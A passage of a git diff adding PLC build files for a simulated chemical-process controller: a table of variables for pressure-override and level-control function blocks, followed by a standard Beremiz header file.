+232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- 